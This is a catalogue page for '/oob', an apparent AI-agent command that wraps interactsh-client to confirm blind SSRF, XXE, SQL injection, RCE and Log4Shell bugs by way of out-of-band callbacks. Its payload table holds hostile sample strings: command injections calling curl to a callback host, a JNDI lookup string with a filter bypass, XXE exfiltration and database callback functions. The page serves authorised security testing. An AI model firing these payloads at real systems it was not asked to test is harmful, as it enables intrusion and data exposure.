oob

A command for confirming security flaws that produce no visible response by using a separate callback address. It links each incoming DNS, HTTP or email interaction to the payload that caused it.

In plain words
What is it for?
Starting a callback listener, generating test payloads for selected vulnerability types and matching received interactions to those payloads.
Why use it?
Blind vulnerabilities such as SSRF, XXE, SQL injection and some remote-code issues are difficult to prove from the original response alone. An outside callback provides evidence that the payload was processed.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

oob scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

What it actually says

/oob

Confirm blind vulnerabilities that have no in-band signal. Wraps ProjectDiscovery's interactsh-client: generates payloads embedding a unique OOB hostname per injection point, then correlates inbound DNS/HTTP/SMTP interactions back to the exact payload — turning un-provable blind bugs into confirmed ones.

Needs interactsh-client installed (/arsenal interactsh-client for the install hint). Payload generation + correlation work offline without it.

Usage

# 1. start the listener (prints your OOB domain, streams interactions as JSON)
/oob --listen > inter.jsonl

# 2. generate payloads for that domain and inject them into the target
/oob --payloads cXXXX.oast.fun --class ssrf,xxe,sqli

# 3. correlate received callbacks to the payload that caused them
/oob --correlate inter.jsonl --payloads-file payloads.json

Run directly:

tools/oob_listener.py --payloads cXXXX.oast.fun --json > payloads.json
tools/oob_listener.py --listen > inter.jsonl
tools/oob_listener.py --correlate inter.jsonl --payloads-file payloads.json

Classes covered

Class Sample payload
blind SSRF http://<uid>.<oob>/ (+ @127.0.0.1, gopher bypass forms)
blind XXE <!ENTITY x SYSTEM "http://<uid>.<oob>/x"> + OOB-DTD exfil
blind SQLi MSSQL xp_dirtree, MySQL LOAD_FILE, Oracle UTL_HTTP, Postgres COPY…PROGRAM
blind RCE ; curl http://<uid>.<oob>/, $(…), backticks, | ping, PowerShell
Log4Shell ${jndi:ldap://<uid>.<oob>/a} (+ ${lower:j} filter bypass)

Why this is the highest-leverage addition

Without OOB, the agent cannot confirm blind SSRF/XXE/SQLi/RCE — an entire band of Critical bugs was structurally out of reach. Each payload carries a unique marker (ssrf-<random>.<oob>) so a received callback proves which injection point fired, ready to drop straight into a report.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

oob is a command published in the GitHub repository Awarexone/Agentic-Bug-Hunter (4,651 stars, last pushed today), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 613 tokens. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
